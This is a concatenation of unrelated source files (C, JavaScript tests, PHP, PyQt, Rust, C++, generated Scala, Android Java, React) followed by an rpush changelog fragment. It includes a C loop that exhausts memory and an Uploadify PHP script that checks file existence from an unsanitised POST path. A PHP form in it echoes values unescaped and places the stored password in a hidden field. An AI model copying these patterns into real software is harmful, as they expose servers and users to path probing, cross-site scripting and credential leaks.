name="twitter:site" content="@fabiomirandadev" /> <meta name="twitter:creator" content="@fabiomirandadev" /> <meta property="og:title" content="{%if page.title %}{{ page.title }}{% else %}{{ site.title }}{% endif %}" /> <meta property="og:description" content="{% if page.description %}{{ page.description }}{% else %}{{ site.description }}{% endif %}" /> <meta property="og:image" content="{% if page.seo-image %}{{ site.url }}/{{ page.seo-image }}{% else %}{{ site.url }}/assets/img/about_me.jpg{% endif %}" /> </head>
#include <stdlib.h> #include <stdio.h> #define CHUNK_SIZE 3000 int main(void) { int i; char * chunk; while (1) { chunk = malloc(CHUNK_SIZE * sizeof(*chunk)); if (chunk == NULL) { return 1; } for (i = 0; i < CHUNK_SIZE; i++) { chunk[i] = i; } } return 0; }
'use strict'; const fs = require('fs'); const path = require('path'); const test = require('ava'); const mockFs = require('mock-fs'); // const writeArtifacts = require('../../../lib/artifacts').writeArtifact; const writeArtifacts = require('../../../lib'); test.afterEach(() => mockFs.restore()); test('should include symlink to file by default', async t => { mockFs({ 'file.txt': 'Hi!', 'source-dir': { 'symlink.txt': mockFs.symlink({ path: path.join('..', 'file.txt') }) } }); await writeArtifacts({ name: 'artifact-dir', patterns: 'source-dir/**' }); const link = fs.readlinkSync(path.join('artifact-dir', 'source-dir', 'symlink.txt')); t.is(link, path.join('..', 'file.txt')); }); test('should include symlink to dir by default', async t => { mockFs({ 'dir': { 'file.txt': 'Hi!' }, 'source-dir': { 'symdir': mockFs.symlink({ path: path.join('..', 'dir') }) } }); await writeArtifacts({ name: 'artifact-dir', patterns: 'source-dir/**' }); const link = fs.readlinkSync(path.join('artifact-dir', 'source-dir', 'symdir')); t.is(link, path.join('..', 'dir')); }); test('should follow symlink to file', async t => { mockFs({ 'file.txt': 'Hi!', 'source-dir': { 'symlink.txt': mockFs.symlink({ path: path.join('..', 'file.txt') }) } }); await writeArtifacts({ name: 'artifact-dir', patterns: 'source-dir/**' }, { followSymlinks: true }); const contents = fs.readFileSync(path.join('artifact-dir', 'source-dir', 'symlink.txt'), 'utf-8'); t.is(contents, 'Hi!'); }); test('should follow symlink to dir', async t => { mockFs({ 'dir': { 'file.txt': 'Hi!' }, 'source-dir': { 'symdir': mockFs.symlink({ path: path.join('..', 'dir') }) } }); await writeArtifacts({ name: 'artifact-dir', patterns: 'source-dir/**' }, { followSymlinks: true }); const contents = fs.readFileSync(path.join('artifact-dir', 'source-dir', 'symdir', 'file.txt'), 'utf-8'); t.is(contents, 'Hi!'); });
<?php /* Uploadify Copyright (c) 2012 Reactive Apps, Ronnie Garcia Released under the MIT License <http://www.opensource.org/licenses/mit-license.php> */ // Define a destination $targetFolder = '/uploads'; // Relative to the root and should match the upload folder in the uploader script if (file_exists($_SERVER['DOCUMENT_ROOT'] ."/". $targetFolder . '/' . $_POST['filename'])) { echo "exists"; } else { echo 0; } ?>
# -*- coding: utf-8 -*- # #START_LICENSE########################################################### # # # This file is part of the Environment for Tree Exploration program # (ETE). http://ete.cgenomics.org # # ETE is free software: you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # ETE is distributed in the hope that it will be useful, but WITHOUT # ANY WARRANTY; without even the implied warranty of MERCHANTABILITY # or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public # License for more details. # # You should have received a copy of the GNU General Public License # along with ETE. If not, see <http://www.gnu.org/licenses/>. # # # ABOUT THE ETE PACKAGE # ===================== # # ETE is distributed under the GPL copyleft license (2008-2011). # # If you make use of ETE in published work, please cite: # # Jaime Huerta-Cepas, Joaquin Dopazo and Toni Gabaldon. # ETE: a python Environment for Tree Exploration. Jaime BMC # Bioinformatics 2010,:24doi:10.1186/1471-2105-11-24 # # Note that extra references to the specific methods implemented in # the toolkit are available in the documentation. # # More info at http://ete.cgenomics.org # # # #END_LICENSE############################################################# __VERSION__="ete2-2.2rev1056" # -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'open_newick.ui' # # Created: Tue Jan 10 15:56:56 2012 # by: PyQt4 UI code generator 4.7.2 # # WARNING! All changes made in this file will be lost! from PyQt4 import QtCore, QtGui class Ui_OpenNewick(object): def setupUi(self, OpenNewick): OpenNewick.setObjectName("OpenNewick") OpenNewick.resize(569, 353) self.comboBox = QtGui.QComboBox(OpenNewick) self.comboBox.setGeometry(QtCore.QRect(460, 300, 81, 23)) self.comboBox.setObjectName("comboBox") self.widget = QtGui.QWidget(OpenNewick) self.widget.setGeometry(QtCore.QRect(30, 10, 371, 321)) self.widget.setObjectName("widget") self.retranslateUi(OpenNewick) QtCore.QMetaObject.connectSlotsByName(OpenNewick) def retranslateUi(self, OpenNewick): OpenNewick.setWindowTitle(QtGui.QApplication.translate("OpenNewick", "Dialog", None, QtGui.QApplication.UnicodeUTF8))
struct Point<T> { x: T, y: T, } /* Declare `impl<T>` to specify we are implementing * methods on type `Point<T>` */ impl<T> Point<T> { /* Getter method `x` returns "reference" to the * data in field type `T` */ fn x(&self) -> &T { &self.x } // fn distance_from_origin<f32>(&self) -> f32 { // (self.x.powi(2) + self.y.powi(2)).sqrt() // } } struct PointMixed<T, U> { x: T, y: U, } impl<T, U> PointMixed<T, U> { // `V` and `W` types are only relevant to the method definition fn mixup<V, W>(self, other: PointMixed<V, W>) -> PointMixed<T, W> { PointMixed { x: self.x, y: other.y, } } } pub fn run() { let p = Point { x: 5, y: 10 }; println!("Point with p.x = {}", p.x()); // println!("p.distance_from_origin = {}", p.distance_from_origin()); let p1 = PointMixed { x: 5, y: 10.4 }; let p2 = PointMixed { x: "Hello", y: 'c'}; // String Slice + char let p3 = p1.mixup(p2); println!("PointMixed p3.x = {}, p3.y = {}", p3.x, p3.y); }
// Copyright (c) 2015 fjz13. All rights reserved. // Use of this source code is governed by a MIT-style // license that can be found in the LICENSE file. #include "MedusaCorePreCompiled.h" #include "SirenFieldAttribute.h" #include "Core/IO/Stream/IStream.h" #include "Core/Log/Log.h" MEDUSA_BEGIN; SirenFieldAttribute::~SirenFieldAttribute(void) { } bool SirenFieldAttribute::IsRequired() const { return !MEDUSA_FLAG_HAS(mMode, SirenFieldGenerateMode::Optional); } bool SirenFieldAttribute::OnLoaded() { StringPropertySet copy = mKeyValues; if (mKeyValues.RemoveKey("Optional")) { MEDUSA_FLAG_ADD(mMode, SirenFieldGenerateMode::Optional); } if (mKeyValues.RemoveKey("?")) { MEDUSA_FLAG_ADD(mMode, SirenFieldGenerateMode::Optional); } if (mKeyValues.RemoveKey("+")) { MEDUSA_FLAG_REMOVE(mMode, SirenFieldGenerateMode::Optional); } if (mKeyValues.RemoveKey("ForceKeyToPtr")) { MEDUSA_FLAG_ADD(mMode, SirenFieldGenerateMode::ForceKeyToPtr); } if (mKeyValues.RemoveKey("ForceValueToPtr")) { MEDUSA_FLAG_ADD(mMode, SirenFieldGenerateMode::ForceValueToPtr); } if (mKeyValues.RemoveKey("AddDictionaryMethods")) { MEDUSA_FLAG_ADD(mMode, SirenFieldGenerateMode::AddDictionaryMethods); } if (mKeyValues.RemoveKey("SuppressMethod")) { MEDUSA_FLAG_ADD(mMode, SirenFieldGenerateMode::SuppressMethod); } return true; } StringRef SirenFieldAttribute::Modifier() const { if (IsRequired()) { return "Required"; } return "Optional"; } bool SirenFieldAttribute::LoadFrom(IStream& stream) { RETURN_FALSE_IF_FALSE(ISirenAttribute::LoadFrom(stream)); mMode = stream.Read<SirenFieldGenerateMode>(); return true; } bool SirenFieldAttribute::SaveTo(IStream& stream) const { RETURN_FALSE_IF_FALSE(ISirenAttribute::SaveTo(stream)); stream.Write(mMode); return true; } MEDUSA_END;
package lms object LMSCSVStringLitParseGen extends CSVStringLitParseGen() /***************************************** Emitting Generated Code *******************************************/ case class CSVStringLitParseGen() extends ((Array[Char])=>ParseResultListAnon1680061013) { def apply(x0:Array[Char]): ParseResultListAnon1680061013 = { var x2: scala.collection.immutable.List[Anon1680061013] = null var x3: Boolean = true var x4: Int = -1 val x6 = x0.length val x7 = 0 >= x6 val x712 = if (x7) { x2 = null x3 = true x4 = 0 () } else { val x15 = x0(0) val x16 = x15 == '[' val x710 = if (x16) { var x20: java.lang.String = "" var x21: Boolean = false val x17 = 0 + 1 var x22: Int = x17 var x24: Int = -1 var x25: Boolean = true var x26: Int = x17 val x61 = while ({val x27 = x25 val x28 = x24 val x29 = x26 val x30 = x28 != x29 val x31 = x27 && x30 x31}) { val x33 = x26 x24 = x33 val x35 = x33 >= x6 val x59 = if (x35) { x25 = false () } else { val x39 = x0(x33) val x40 = x39 == ' ' val x41 = x39 == '\n' val x42 = x40 || x41 val x57 = if (x42) { val x45 = x20 val x46 = x21 val x47 = x22 x20 = x45 x21 = false val x43 = x33 + 1 x22 = x43 x26 = x43 () } else { x25 = false () } x57 } x59 } val x62 = x20 val x63 = x21 val x64 = x22 val x704 = if (x63) { x2 = null x3 = true x4 = 0 () } else { val x70 = scala.collection.mutable.ListBuffer[Anon1680061013]() val x145 = {x102: (Int) => var x104: Int = 0 var x105: Boolean = true var x106: Int = x102 val x108 = x102 >= x6 val x139 = if (x108) { x104 = 0 x105 = true x106 = x102 () } else { val x114 = x0(x102) val x115 = x114 == '\\' val x137 = if (x115) { val x116 = x102 + 1 val x118 = x116 >= x6 val x131 = if (x118) { x104 = 0 x105 = true x106 = x116 () } else { x104 = x116 x105 = false val x125 = x116 + 1 x106 = x125 () } x131 } else { x104 = 0 x105 = true x106 = x102 () } x137 } val x140 = x104 val x141 = x105 val x142 = x106 val x143 = new ParseResultInt(x140,x141,x142) x143: ParseResultInt } val x182 = {x96: (Int) => var x98: Int = 0 var x99: Boolean = true var x100: Int = x96 val x146 = x145(x96) val x147 = x146.empty val x176 = if (x147) { val x148 = x96 >= x6 val x168 = if (x148) { x98 = 0 x99 = true x100 = x96 () } else { val x153 = x0(x96) val x155 = x153 == '"' val x166 = if (x155) { x98 = 0 x99 = true x100 = x96 () } else { x98 = x96 x99 = false val x160 = x96 + 1 x100 = x160 () } x166 } x168 } else { val x170 = x146.res x98 = x170 x99 = x147 val x173 = x146.next x100 = x173 () } val x177 = x98 val x178 = x99 val x179 = x100 val x180 = new ParseResultInt(x177,x178,x179) x180: ParseResultInt } val x418 = {x375: (Int) => var x377: Int = 0 var x378: Boolean = true var x379: Int = x375 val x381 = x375 >= x6 val x412 = if (x381) { x377 = 0 x378 = true x379 = x375 () } else { val x387 = x0(x375) val x388 = x387 == '\\' val x410 = if (x388) { val x389 = x375 + 1 val x391 = x389 >= x6 val x404 = if (x391) { x377 = 0 x378 = true x379 = x389 () } else { x377 = x389 x378 = false val x398 = x389 + 1 x379 = x398 () } x404 } else { x377 = 0 x378 = true x379 = x375 () } x410 } val x413 = x377 val x414 = x378 val x415 = x379 val x416 = new ParseResultInt(x413,x414,x415) x416: ParseResultInt } val x455 = {x369: (Int) => var x371: Int = 0 var x372: Boolean = true var x373: Int = x369 val x419 = x418(x369) val x420 = x419.empty val x449 = if (x420) { val x421 = x369 >= x6 val x441 = if (x421) { x371 = 0 x372 = true x373 = x369 () } else { val x426 = x0(x369) val x428 = x426 == '"' val x439 = if (x428) { x371 = 0 x372 = true x373 = x369 () } else { x371 = x369 x372 = false val x433 = x369 + 1 x373 = x433 () } x439 } x441 } else { val x443 = x419.res x371 = x443 x372 = x420 val x446 = x419.next x373 = x446 () } val x450 = x371 val x451 = x372 val x452 = x373 val x453 = new ParseResultInt(x450,x451,x452) x453: ParseResultInt } val x595 = {x78: (Int) => var x80: scala.collection.immutable.List[Anon1680061013] = null var x81: Boolean = true var x82: Int = x78 val x84 = x78 >= x6 val x589 = if (x84) { x80 = null x81 = true x82 = x78 () } else { val x92 = x0(x78) val x93 = x92 == '"' val x587 = if (x93) { var x184: Int = 0 var x185: Boolean = false val x94 = x78 + 1 var x186: Int = x94 var x188: Int = -1 var x189: Boolean = true var x190: Int = x94 val x217 = while ({val x191 = x189 val x192 = x188 val x193 = x190 val x194 = x192 != x193 val x195 = x191 && x194 x195}) { val x197 = x190 x188 = x197 val x199 = x182(x197) val x200 = x199.empty val x215 = if (x200) { x189 = false () } else { val x203 = x184 val x204 = x185 val x205 = x186 val x207 = x203 + 1 x184 = x207 x185 = false val x208 = x199.next x186 = x208 x190 = x208 () } x215 } val x218 = x184 val x219 = x185 val x220 = x186 val x224 = x220 >= x6 val x581 = if (x224) { x80 = null x81 = true x82 = x78 () } else { val x230 = x0(x220) val x231 = x230 == '"' val x579 = if (x231) { var x236: scala.collection.mutable.ListBuffer[Anon1680061013] = x70 var x237: Boolean = false val x232 = x220 + 1 var x238: Int = x232 var x240: Int = -1 var x241: Boolean = true var x242: Int = x232 val x539 = while ({val x243 = x241 val x244 = x240 val x245 = x242 val x246 = x244 != x245 val x247 = x243 && x246 x247}) { val x249 = x242 x240 = x249 var x252: java.lang.String = "" var x253: Boolean = false var x254: Int = x249 var x256: Int = -1 var x257: Boolean = true var x258: Int = x249 val x293 = while ({val x259 = x257 val x260 = x256 val x261 = x258 val x262 = x260 != x261 val x263 = x259 && x262 x263}) { val x265 = x258 x256 = x265 val x267 = x265 >= x6 val x291 = if (x267) { x257 = false () } else { val x271 = x0(x265) val x272 = x271 == ' ' val x273 = x271 == '\n' val x274 = x272 || x273 val x289 = if (x274) { val x277 = x252 val x278 = x253 val x279 = x254 x252 = x277 x253 = false val x275 = x265 + 1 x254 = x275 x258 = x275 () } else { x257 = false () } x289 } x291 } val x294 = x252 val x295 = x253 val x296 = x254 val x537 = if (x295) { x241 = false () } else { val x303 = x296 >= x6 val x535 = if (x303) { x241 = false () } else { val x307 = x0(x296) val x308 = x307 == ',' val x533 = if (x308) { var x312: java.lang.String = "" var x313: Boolean = false val x309 = x296 + 1 var x314: Int = x309 var x316: Int = -1 var x317: Boolean = true var x318: Int = x309 val x353 = while ({val x319 = x317 val x320 = x316 val x321 = x318 val x322 = x320 != x321 val x323 = x319 && x322 x323}) { val x325 = x318 x316 = x325 val x327 = x325 >= x6 val x351 = if (x327) { x317 = false () } else { val x331 = x0(x325) val x332 = x331 == ' ' val x333 = x331 == '\n' val x334 = x332 || x333 val x349 = if (x334) { val x337 = x312 val x338 = x313 val x339 = x314 x312 = x337 x313 = false val x335 = x325 + 1 x314 = x335 x318 = x335 () } else { x317 = false () } x349 } x351 } val x354 = x312 val x355 = x313 val x356 = x314 val x529 = if (x355) { x241 = false () } else { val x360 = x356 >= x6 val x527 = if (x360) { x241 = false () } else { val x365 = x0(x356) val x366 = x365 == '"' val x525 = if (x366) { var x457: Int = 0 var x458: Boolean = false val x367 = x356 + 1 var x459: Int = x367 var x461: Int = -1 var x462: Boolean = true var x463: Int = x367 val x490 = while ({val x464 = x462 val x465 = x461 val x466 = x463 val x467 = x465 != x466 val x468 = x464 && x467 x468}) { val x470 = x463 x461 = x470 val x472 = x455(x470) val x473 = x472.empty val x488 = if (x473) { x462 = false () } else { val x476 = x457 val x477 = x458 val x478 = x459 val x480 = x476 + 1 x457 = x480 x458 = false val x481 = x472.next x459 = x481 x463 = x481 () } x488 } val x491 = x457 val x492 = x458 val x493 = x459 val x497 = x493 >= x6 val x521 = if (x497) { x241 = false () } else { val x501 = x0(x493) val x502 = x501 == '"' val x519 = if (x502) { val x506 = x236 val x507 = x237 val x508 = x238 val x495 = new Anon1680061013(x0,x367,x491) val x510 = x506 += x495 x236 = x510 x237 = false val x503 = x493 + 1 x238 = x503 x242 = x503 () } else { x241 = false () } x519 } x521 } else { x241 = false () } x525 } x527 } x529 } else { x241 = false () } x533 } x535 } x537 } val x540 = x236 val x541 = x237 val x542 = x238 val x548 = if (x541) { val x544 = new ParseResultListAnon1680061013(null,true,x542) x544 } else { val x545 = x540.toList val x546 = new ParseResultListAnon1680061013(x545,false,x542) x546 } val x549 = x548.empty val x555 = if (x549) { val x87 = new ParseResultTuple2Anon1680061013ListAnon1680061013(null,true,x78) x87 } else { val x550 = x548.res val x552 = x548.next val x222 = new Anon1680061013(x0,x94,x218) val x551 = new Tuple2Anon1680061013ListAnon1680061013(x222,x550) val x553 = new ParseResultTuple2Anon1680061013ListAnon1680061013(x551,false,x552) x553 } val x556 = x555.empty val x567 = if (x556) { val x557 = x555.next val x558 = new ParseResultListAnon1680061013(null,true,x557) x558 } else { val x560 = x555.res val x561 = x560._1 val x562 = x560._2 val x564 = x555.next val x563 = x561 :: x562 val x565 = new ParseResultListAnon1680061013(x563,false,x564) x565 } val x568 = x567.res x80 = x568 val x570 = x567.empty x81 = x570 val x572 = x567.next x82 = x572 () } else { x80 = null x81 = true x82 = x78 () } x579 } x581 } else { x80 = null x81 = true x82 = x78 () } x587 } val x590 = x80 val x591 = x81 val x592 = x82 val x593 = new ParseResultListAnon1680061013(x590,x591,x592) x593: ParseResultListAnon1680061013 } val x71 = List() val x615 = {x72: (Int) => var x74: scala.collection.immutable.List[Anon1680061013] = null var x75: Boolean = true var x76: Int = x72 val x596 = x595(x72) val x597 = x596.empty val x609 = if (x597) { x74 = x71 x75 = false x76 = x72 () } else { val x603 = x596.res x74 = x603 x75 = x597 val x606 = x596.next x76 = x606 () } val x610 = x74 val x611 = x75 val x612 = x76 val x613 = new ParseResultListAnon1680061013(x610,x611,x612) x613: ParseResultListAnon1680061013 } val x616 = x615(x64) val x617 = x616.empty val x702 = if (x617) { val x618 = x616.res x2 = x618 x3 = x617 val x621 = x616.next x4 = x621 () } else { var x625: java.lang.String = "" var x626: Boolean = false val x621 = x616.next var x627: Int = x621 var x629: Int = -1 var x630: Boolean = true var x631: Int = x621 val x666 = while ({val x632 = x630 val x633 = x629 val x634 = x631 val x635 = x633 != x634 val x636 = x632 && x635 x636}) { val x638 = x631 x629 = x638 val x640 = x638 >= x6 val x664 = if (x640) { x630 = false () } else { val x644 = x0(x638) val x645 = x644 == ' ' val x646 = x644 == '\n' val x647 = x645 || x646 val x662 = if (x647) { val x650 = x625 val x651 = x626 val x652 = x627 x625 = x650 x626 = false val x648 = x638 + 1 x627 = x648 x631 = x648 () } else { x630 = false () } x662 } x664 } val x667 = x625 val x668 = x626 val x669 = x627 val x700 = if (x668) { x2 = null x3 = true x4 = 0 () } else { val x670 = new ParseResultString(x667,x668,x669) val x676 = x670.next val x677 = x676 >= x6 val x698 = if (x677) { x2 = null x3 = true x4 = 0 () } else { val x683 = x0(x676) val x684 = x683 == ']' val x696 = if (x684) { val x618 = x616.res x2 = x618 x3 = false val x685 = x676 + 1 x4 = x685 () } else { x2 = null x3 = true x4 = 0 () } x696 } x698 } x700 } x702 } x704 } else { x2 = null x3 = true x4 = 0 () } x710 } val x713 = x2 val x714 = x3 val x715 = x4 val x716 = new ParseResultListAnon1680061013(x713,x714,x715) x716 } } /***************************************** End of Generated Code *******************************************/
<?php $this->load->view('layouts/header');?> <?php $this->load->view('layouts/tablero');?> <link href="https://cdnjs.cloudflare.com/ajax/libs/select2/4.0.3/css/select2.min.css" rel="stylesheet" /> <script src="https://cdnjs.cloudflare.com/ajax/libs/select2/4.0.3/js/select2.min.js"></script> <div class="col-sm-9 col-md-10 affix-content"> <div class="container"> <div class="page-header"> <form class="row mrb-30 well" action="<?php echo base_url('index.php/trabajador/update/'.$dato_trabajador[0]->IdTrabajador); ?>" method="POST" onsubmit="return validar(this);"> <div class="form-group col-md-6"> <label>Tipo Trabajador</label> <select validate="selecbus" class="js-example-basic-single form-control" name="SelectTipo"> <?php foreach($tipos as $tipo){ $faiId=($tipo->IdTipoTrab==$dato_trabajador[0]->IdTipoTrab)? "selected":""; echo "<option value=". $tipo->IdTipoTrab ." ". $faiId .">". $tipo->NombreTP ."</option>"; }?> <!--echo "<option value=" .$proveedor->IdProveedor ." value=". $proveedor->Nombre ."</option>";--> </select> </div> <div class="form-group col-md-6 "> <label>Nombres</label> <input validate="texto" type="text" class="form-control" name="Nombre" placeholder="Nombres" maxlength="30"value="<?php echo $dato_trabajador[0]->NombreT?>"> </div> <div class="form-group col-md-6"> <label>Apellido Paterno</label> <input validate="texto" type="text" class="form-control" name="ApePat" placeholder="Apellido Paterno" maxlength="20"value="<?php echo $dato_trabajador[0]->ApePat?>"> </div> <div class="form-group col-md-6"> <label>Apellido Materno</label> <input validate="texto" type="text" class="form-control" name="ApeMat" placeholder="Apellido Materno" maxlength="20" value="<?php echo $dato_trabajador[0]->ApeMat?>"> </div> <div class="form-group col-md-6"> <label>Dirección</label> <input validate="direccion" type="text" class="form-control" name="Direccion" placeholder="Dirección" maxlength="30" value="<?php echo $dato_trabajador[0]->DireccionT?>"> </div> <div class="form-group col-md-3"> <label>Celular</label> <input validate="number" type="text" class="form-control" name="Telefono" placeholder="Celular" maxlength="9" value="<?php echo $dato_trabajador[0]->CelularT?>"> </div> <div class="form-group col-md-3"> <label>Operador</label> <select validate="seleccionar" type="text" class="form-control" name="Operador" placeholder="Operador"> <option value="Rpm" <?php echo ($dato_trabajador[0]->OperadorT=="Rpm" ? 'selected="selected"' : '');?>>Rpm</option> <option value="Movistar" <?php echo ($dato_trabajador[0]->OperadorT=="Movistar" ? 'selected="selected"' : '');?>>Movistar</option> <option value="Rpc" <?php echo ($dato_trabajador[0]->OperadorT=="Rpc" ? 'selected="selected"' : '');?>>Rpc</option> <option value="Claro" <?php echo ($dato_trabajador[0]->OperadorT=="Claro" ? 'selected="selected"' : '');?>>Claro</option> <option value="Bitel" <?php echo ($dato_trabajador[0]->OperadorT=="Bitel" ? 'selected="selected"' : '');?>>Bitel</option> <option value="Entel" <?php echo ($dato_trabajador[0]->OperadorT=="Entel" ? 'selected="selected"' : '');?>>Entel</option> <option value="Virgin" <?php echo ($dato_trabajador[0]->OperadorT=="Virgin" ? 'selected="selected"' : '');?>>Virgin</option> </select> </div> <div class="form-group col-md-6"> <label>Local</label> <select validate="selecbus" class="js-example-basic-single2 form-control" name="SelectLocal"> <?php foreach($local as $tipo){ // die($tipo->IdLocal==$dato_local[0]->IdLocal); $faiId=($tipo->IdLocal==$dato_trabajador[0]->IdLocal)? "selected":""; echo "<option value=". $tipo->IdLocal ." ". $faiId .">". $tipo->NombreL ."</option>"; }?> <!--echo "<option value=" .$proveedor->IdProveedor ." value=". $proveedor->Nombre ."</option>";--> </select> </div> <div class="form-group col-md-6"> <label>Estado</label> <select validate="seleccionar" type="text" class="form-control" name="EstadoT"> <option value="Habilitado" <?php echo ($dato_trabajador[0]->EstadoT=="Habilitado" ? 'selected="selected"' : '');?>>Habilitado</option> <option value="Expulsado" <?php echo ($dato_trabajador[0]->EstadoT=="Expulsado" ? 'selected="selected"' : '');?>>Expulsado</option> <option value="Retirado" <?php echo ($dato_trabajador[0]->EstadoT=="Retirado" ? 'selected="selected"' : '');?>>Retirado</option> </select> </div> <script type="text/javascript"> $(document).ready(function() { var fn = $(".js-example-basic-single").select2(); // $(".js-example-basic-single").select // fn.defaults.set("qwe","sdsd") }); </script> <script type="text/javascript"> $(document).ready(function() { var fn = $(".js-example-basic-single2").select2(); // $(".js-example-basic-single").select // fn.defaults.set("qwe","sdsd") }); </script> <div class="col-md-12"> <input type="hidden" name="Email" value="<?php echo $dato_trabajador[0]->Email?>"> <input type="hidden" name="Password" value="<?php echo $dato_trabajador[0]->Password?>"> <button type="submit" class="btn btn-primary ">Actualizar</button> </div> </form> </div> </div> </div> <script src="<?php echo base_url('public/main.js'); ?>"></script> <?php $this->load->view('layouts/footer.php');?>
package sword.langbook3.android; import android.app.Activity; import android.content.Intent; import android.os.Bundle; import android.os.Parcel; import android.os.Parcelable; import android.view.LayoutInflater; import android.view.View; import android.widget.LinearLayout; import android.widget.TextView; import android.widget.Toast; import sword.collections.ImmutableHashSet; import sword.collections.ImmutableSet; import sword.langbook3.android.db.AcceptationId; import sword.langbook3.android.db.AcceptationIdBundler; import sword.langbook3.android.db.AlphabetId; import sword.langbook3.android.db.ConceptId; import sword.langbook3.android.db.ConceptIdParceler; import sword.langbook3.android.db.LangbookDbChecker; public final class DefinitionEditorActivity extends Activity implements View.OnClickListener { private static final int REQUEST_CODE_PICK_BASE = 1; private static final int REQUEST_CODE_PICK_COMPLEMENT = 2; private interface SavedKeys { String STATE = "state"; } public interface ResultKeys { String VALUES = "values"; } public static void open(Activity activity, int requestCode) { final Intent intent = new Intent(activity, DefinitionEditorActivity.class); activity.startActivityForResult(intent, requestCode); } private State _state; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.definition_editor_activity); if (savedInstanceState != null) { _state = savedInstanceState.getParcelable(SavedKeys.STATE); } else { _state = new State(); } findViewById(R.id.baseConceptChangeButton).setOnClickListener(this); findViewById(R.id.complementsAddButton).setOnClickListener(this); findViewById(R.id.saveButton).setOnClickListener(this); updateUi(); } private void updateUi() { final LangbookDbChecker checker = DbManager.getInstance().getManager(); final AlphabetId preferredAlphabet = LangbookPreferences.getInstance().getPreferredAlphabet(); final TextView baseConceptTextView = findViewById(R.id.baseConceptText); final String text = (_state.baseConcept == null)? null : checker.readConceptText(_state.baseConcept, preferredAlphabet); baseConceptTextView.setText(text); final LinearLayout complementsPanel = findViewById(R.id.complementsPanel); complementsPanel.removeAllViews(); final LayoutInflater inflater = LayoutInflater.from(this); for (ConceptId complementConcept : _state.complements) { inflater.inflate(R.layout.definition_editor_complement_entry, complementsPanel, true); final TextView textView = complementsPanel.getChildAt(complementsPanel.getChildCount() - 1).findViewById(R.id.text); textView.setText(checker.readConceptText(complementConcept, preferredAlphabet)); } } @Override public void onClick(View v) { switch (v.getId()) { case R.id.baseConceptChangeButton: AcceptationPickerActivity.open(this, REQUEST_CODE_PICK_BASE); return; case R.id.complementsAddButton: AcceptationPickerActivity.open(this, REQUEST_CODE_PICK_COMPLEMENT); return; case R.id.saveButton: saveAndFinish(); return; } } private void saveAndFinish() { if (_state.baseConcept == null) { Toast.makeText(this, R.string.baseConceptMissing, Toast.LENGTH_SHORT).show(); } else { final Intent intent = new Intent(); intent.putExtra(ResultKeys.VALUES, _state); setResult(RESULT_OK, intent); finish(); } } @Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { super.onActivityResult(requestCode, resultCode, data); if (requestCode == REQUEST_CODE_PICK_BASE && resultCode == RESULT_OK && data != null) { final LangbookDbChecker checker = DbManager.getInstance().getManager(); final AcceptationId pickedAcceptation = AcceptationIdBundler.readAsIntentExtra(data, AcceptationPickerActivity.ResultKeys.STATIC_ACCEPTATION); _state.baseConcept = (pickedAcceptation != null)? checker.conceptFromAcceptation(pickedAcceptation) : null; updateUi(); } else if (requestCode == REQUEST_CODE_PICK_COMPLEMENT && resultCode == RESULT_OK && data != null) { final LangbookDbChecker checker = DbManager.getInstance().getManager(); final AcceptationId pickedAcceptation = AcceptationIdBundler.readAsIntentExtra(data, AcceptationPickerActivity.ResultKeys.STATIC_ACCEPTATION); _state.complements = _state.complements.add(checker.conceptFromAcceptation(pickedAcceptation)); updateUi(); } } @Override public void onSaveInstanceState(Bundle outBundle) { outBundle.putParcelable(SavedKeys.STATE, _state); } public static final class State implements Parcelable { public ConceptId baseConcept; public ImmutableSet<ConceptId> complements = ImmutableHashSet.empty(); @Override public int describeContents() { return 0; } @Override public void writeToParcel(Parcel dest, int flags) { ConceptIdParceler.write(dest, baseConcept); final int complementCount = (complements != null)? complements.size() : 0; dest.writeInt(complementCount); if (complementCount > 0) { for (ConceptId complement : complements) { ConceptIdParceler.write(dest, complement); } } } public static final Creator<State> CREATOR = new Creator<State>() { @Override public State createFromParcel(Parcel in) { final State state = new State(); state.baseConcept = ConceptIdParceler.read(in); final int complementCount = in.readInt(); for (int i = 0; i < complementCount; i++) { state.complements = state.complements.add(ConceptIdParceler.read(in)); } return state; } @Override public State[] newArray(int size) { return new State[size]; } }; } }
import React from 'react' import { CLOSE_CHARACTER } from '../model/constants' import styles from './MessagesComp.module.css' export interface MessagesCompProps { _messages: readonly string[] _removeMessageByIndex: (index: number) => void } export function MessagesComp({ _messages, _removeMessageByIndex, }: MessagesCompProps) { return ( <> {_messages.map((message, index) => ( <div key={index} className={styles.message}> <div className={styles.content}>{message}</div> <button type='button' className={styles.button} onClick={() => { _removeMessageByIndex(index) }} > {CLOSE_CHARACTER} </button> </div> ))} </> ) }
import { NICKNAME_SET } from '../constants' export interface NicknameSetPayload { nickname: string userId: string } export interface NicknameSetAction { type: 'NICKNAME_SET' payload: NicknameSetPayload } export function setNickname(payload: NicknameSetPayload): NicknameSetAction { return { type: NICKNAME_SET, payload, } } export type NicknameActions = NicknameSetAction
## HEAD ### Breaking Changes - None ### Added - None ### Fixed - None ## 3.1.1 (2018-04-16) When upgrading, don't forget to run `bundle exec rpush init` to get all the latest migrations. ### Breaking Changes - None ### Added - None ### Fixed - Database deadlock [#200](https://github.com/rpush/rpush/issues/200) (by [@loadhigh](https://github.com/loadhigh) in [#428](https://github.com/rpush/rpush/issues/428)) ### Enhancements - Change the index on `rpush_notifications` to minimize number of locked records and pre-sort the records ([#428](https://github.com/rpush/rpush/issues/428) by [@loadhigh](https://github.com/loadhigh)) - Minimize the locking duration by moving the row dump code outside of the transaction ([#428](https://github.com/rpush/rpush/issues/428) by [@loadhigh](https://github.com/loadhigh)) ## 3.1.0 (2018-04-11) When upgrading, don't forget to run `bundle exec rpush init` to get all the latest migrations. ### Breaking Changes - None ### Added - Added sandbox URL to `ApnsHttp2` dispatcher ([#392](https://github.com/rpush/rpush/pull/392) by [@brianlittmann](https://github.com/brianlittmann)) ### Features - Added support for [Pushy](https://pushy.me/) ([#404](https://github.com/rpush/rpush/pull/404) by [@zabolotnov87](https://github.com/zabolotnov87)) ### Fixed - `@notification.app` triggers loading of association :app ([#410](https://github.com/rpush/rpush/issues/410) by [@loadhigh](https://github.com/loadhigh)) - APNS expiry should be number of seconds since epoch ([#416](https://github.com/rpush/rpush/issues/416) by [@loadhigh](https://github.com/loadhigh)) ### Enhancements - Test rpush with Ruby 